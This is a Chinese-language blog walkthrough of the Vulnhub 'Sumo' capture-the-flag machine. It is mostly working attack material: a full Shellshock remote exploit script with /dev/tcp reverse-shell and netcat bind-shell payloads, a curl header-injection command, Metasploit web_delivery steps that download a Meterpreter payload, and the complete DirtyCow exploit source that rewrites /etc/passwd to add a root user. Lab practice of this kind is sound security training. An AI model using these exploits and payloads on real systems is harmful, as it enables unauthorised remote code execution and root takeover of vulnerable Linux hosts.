Vulnhub:Sumo靶机练习
环境:VMware+kali 桥接网络
目标:获取root权限
1、快速发现局域网内的主机,使用命令
arp-sacn -l
使用nmap,对该主机进行详细的扫描nmap -sS -sV -A -vv 172.168.10.217
2、浏览http服务,主页只显示默认页面。
3、使用dirb扫一下,dirb http://172.168.10.217
DIRB有一个默认的单词列表,并且运行上面的命令没有发现任何有用目录。重新运行命令,指定了big.txt单词列表。但是还是没有扫到更多的东西.
现在尝试指定一些文件扩展名,例如.html和.php,再次,没有什么。尝试了/usr/share/dirb/wordlists中的每个单词列表,但是没有返回任何结果,除了一个/cgi-bin/test脚本。
4、现在使用工具Nikto:
这揭示了两个潜在的攻击向量,包括shellshock,以及由于Apache模块强制使用文件名的能力。花了很长时间在谷歌上搜索各种可以利用的东西。然而,在google了许多方法来找出如何利用shellshock漏洞之后,我发现了一个漏洞,并且能够利用shellshock漏洞!https://www.exploit-db.com/exploits/34900
在Kali上下载了这个漏洞,运行Python命令,这个方法是有问题的,我这边暂时无法运行该脚本... ...
再次测试了脚本,把页面中的代码,全部复制粘贴了一边,并且放在了英文目录下,就可以运行了:
代码如下:
1 #! /usr/bin/env pythonfrom socket import *from threading import Thread 2 import thread, time, httplib, urllib, sys 3 4 stop = False 5 proxyhost = "" 6 proxyport = 0 7 8 def usage(): 9 print """ 10 11 Shellshock apache mod_cgi remote exploit 12 13 Usage: 14 ./exploit.py var=<value> 15 16 Vars: 17 rhost: victim host 18 rport: victim port for TCP shell binding 19 lhost: attacker host for TCP shell reversing 20 lport: attacker port for TCP shell reversing 21 pages: specific cgi vulnerable pages (separated by comma) 22 proxy: host:port proxy 23 24 Payloads: 25 "reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport) 26 "bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport) 27 28 Example: 29 30 ./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234 31 ./exploit.py payload=bind rhost=1.2.3.4 rport=1234 32 33 Credits: 34 35 Federico Galatolo 2014 36 """ 37 sys.exit(0) 38 39 def exploit(lhost,lport,rhost,rport,payload,pages): 40 headers = {"Cookie": payload, "Referer": payload} 41 42 for page in pages: 43 if stop: 44 return 45 print "[-] Trying exploit on : "+page 46 if proxyhost != "": 47 c = httplib.HTTPConnection(proxyhost,proxyport) 48 c.request("GET","http://"+rhost+page,headers=headers) 49 res = c.getresponse() 50 else: 51 c = httplib.HTTPConnection(rhost) 52 c.request("GET",page,headers=headers) 53 res = c.getresponse() 54 if res.status == 404: 55 print "[*] 404 on : "+page 56 time.sleep(1) 57 58 59 args = {} 60 61 for arg in sys.argv[1:]: 62 ar = arg.split("=") 63 args[ar[0]] = ar[1]try: 64 args['payload']except: 65 usage() 66 67 if args['payload'] == 'reverse': 68 try: 69 lhost = args['lhost'] 70 lport = int(args['lport']) 71 rhost = args['rhost'] 72 payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &" 73 except: 74 usage()elif args['payload'] == 'bind': 75 try: 76 rhost = args['rhost'] 77 rport = args['rport'] 78 payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'" 79 except: 80 usage()else: 81 print "[*] Unsupported payload" 82 usage() 83 84 try: 85 pages = args['pages'].split(",")except: 86 pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"] 87 88 try: 89 proxyhost,proxyport = args['proxy'].split(":")except: 90 pass 91 92 if args['payload'] == 'reverse': 93 serversocket = socket(AF_INET, SOCK_STREAM) 94 buff = 1024 95 addr = (lhost, lport) 96 serversocket.bind(addr) 97 serversocket.listen(10) 98 print "[!] Started reverse shell handler" 99 thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))if args['payload'] == 'bind': 100 serversocket = socket(AF_INET, SOCK_STREAM) 101 addr = (rhost,int(rport)) 102 thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,)) 103 104 buff = 1024 105 106 while True: 107 if args['payload'] == 'reverse': 108 clientsocket, clientaddr = serversocket.accept() 109 print "[!] Successfully exploited" 110 print "[!] Incoming connection from "+clientaddr[0] 111 stop = True 112 clientsocket.settimeout(3) 113 while True: 114 reply = raw_input(clientaddr[0]+"> ") 115 clientsocket.sendall(reply+"\n") 116 try: 117 data = clientsocket.recv(buff) 118 print data 119 except: 120 pass 121 122 if args['payload'] == 'bind': 123 try: 124 serversocket = socket(AF_INET, SOCK_STREAM) 125 time.sleep(1) 126 serversocket.connect(addr) 127 print "[!] Successfully exploited" 128 print "[!] Connected to "+rhost 129 stop = True 130 serversocket.settimeout(3) 131 while True: 132 reply = raw_input(rhost+"> ") 133 serversocket.sendall(reply+"\n") 134 data = serversocket.recv(buff) 135 print data 136 except: 137 pass
备注:
kali 2.0 没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。
在kali 2.0中启动带数据库支持的MSF方式如下:
#1 首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;
#2 初始化MSF数据库(关键步骤!):msfdb init;
#3 运行msfconsole:msfconsole;
#4 在msf中查看数据库连接状态:db_status。
#设置postgresql开启自动启动。(update-rc.d postgresql enable)
按步骤后操作后,还是无法开启msfconsole,使用下列命令来解决,
gem update --system
gem install bundler:1.17.3
cd /usr/share/metasploit-framework
bundle install
5、但是shell有很多bug,当我运行一个命令时,直到运行下一个命令时,才能看到第一个命令的输出。现在需要另一种方法得到另一个合适的shell,因为它不稳定。现在使用metasploit工具,并设置选项:
sudo msfconsole
use multi/script/web_delivery
set LHOST 172.168.10.37(kali)
set LPORT 4447
set target Linux
set payload linux/x86/meterpreter_reverse_tcp
exploit
把得到的wget的整条命令,复制到刚刚反弹的shell中,并且启动了meterpreter会话(在运行wget命令之前,必须导航到/tmp目录,因为在当前目录中没有写权限)。可以使用图中命令进入meterpreter会话:
现在有了更稳定的shell了。在终端中输入help以查看可使用的命令
6、权限提升
现在找出如何升级特权。搜索了一下目录,但什么也没找到。检查了SUID二进制文件,它没有返回任何有用的结果。
find / perm -u=s -type f 2 >/dev/null
还检查了所有具有777权限的文件,但同样没有得到有用的结果。
find / -type f -perm -0777
7、下一步是检查是否存在任何内核漏洞。使用以下命令检查内核版本:
发现它的版本很旧,现在开始寻找漏洞。Kali上自带了earchsploit工具。许搜索存在漏洞的应用程序。现在有了内核版本号,决定使用searchsploit来查看它是否容易受到攻击。
列表中有内核漏洞,允许本地特权升级。包括一个利用路径,所以可以尝试利用这个。使用命令locate linux_x86-64/local/33589.c 可以查找给文件在kali中的具体地址。在ka'li开启apache服务,然后把33589文件放在/var/www/html/下,在shell中使用wget命令下载文件 wget http://172.168.10.37/33589.c,使用python打开个终端,python -c 'import pty;pty.spawn("/bin/bash")'
gcc 33589.c -O2 -o exploit
./exploit 0
可能是这个脚本有问题吧,试了几次都是一样的结果,靶机页面如下图,然后不能返回任何信息,我以为是没有像下面的方法一样设置环境变量之类的,但是设置好了之后,还是一样的结果,所以应该就是kali自带的脚本有点问题吧,后面的利用过程还是下面的方法更好些。
根据另一个教程操作的,后面的利用脚本和前面的不太一样。
使用下列命令也可以curl -v http://172.168.10.217/cgi-bin/test/test.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /usr/bin/id"
在使用命令反弹shell,再开个终端监听端口
注:该靶机是利用的Linux的脏牛漏洞(dirtycowCVE - 2016-5195)
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
//
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\n",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
char *plaintext_pw;
if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}
把上方代码,在kali中编辑成.c的格式,然后开启一个简单的http服务,因为80端口我已经开启了apache,所以使用其他未被占用的端口,
在shell中下载dirty.c的文件:
查找gcc相关的信息:
查看环境变量,并把gcc添加进去:
用法在脚本的注释行中
现在开始运行脚本,输入密码的地方是自己随意设置的,一会会用到,需要等待一会:
该处给出的信息是使用firefart用户登录,使用刚刚设置的密码。
获得了root权限及flag:
|
天接云涛连晓雾,星河欲转千帆舞。
仿佛梦魂归帝所。闻天语,殷勤问我归何处。
我报路长嗟日暮,学诗谩有惊人句。
九万里风鹏正举。风休住,蓬舟吹取三山去!
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步